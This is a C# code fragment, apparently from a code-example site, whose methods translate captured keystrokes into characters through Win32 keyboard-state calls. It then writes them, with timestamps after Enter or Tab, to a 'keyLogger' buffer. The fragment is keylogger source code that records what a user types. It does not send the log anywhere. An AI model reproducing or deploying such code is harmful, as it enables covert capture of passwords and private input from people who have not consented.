public char InterpretAscii(DataKey dataKey)
        {
            char key;
            byte[] keyboardState = new byte[256];
            GetKeyboardState(keyboardState);
            ToAscii(
                dataKey.VirtualKeyCode,
                dataKey.ScanCode, keyboardState, out key,
                dataKey.Flags);

            return key;
        }
        public char InterpretAsciiEx(DataKey dataKey)
        {
            char key;
            byte[] keyboardState = new byte[256];
            GetKeyboardState(keyboardState);
            IntPtr keyboardLayout = GetKeyboardLayoutCurrentWindow();

            ToAsciiEx(
                dataKey.VirtualKeyCode,
                dataKey.ScanCode, keyboardState, out key,
                dataKey.Flags, keyboardLayout);

            return key;
        }
Example #3
0
        bool ActionResult(DataKey dataKey)
        {
            int scanCode = dataKey.ScanCode;
            if (scanCode == 0 || scanCode == 57 ||
                scanCode > 1 && scanCode < 14 ||
                scanCode > 15 && scanCode < 28 ||
                scanCode > 29 && scanCode < 41 ||
                scanCode > 42 && scanCode < 54)
            {
                char symbols = interpreterKeys.InterpretAsciiEx(dataKey);

                keyLogger.WriteBuffer(symbols);
            }
            if (scanCode == 28 || scanCode == 15 || scanCode == 64)
            {
                keyLogger.WriteBuffer(Environment.NewLine);
                keyLogger.WriteBuffer(DateTime.Now.ToString());
                keyLogger.WriteBuffer(Environment.NewLine);
            }
            return true;
        }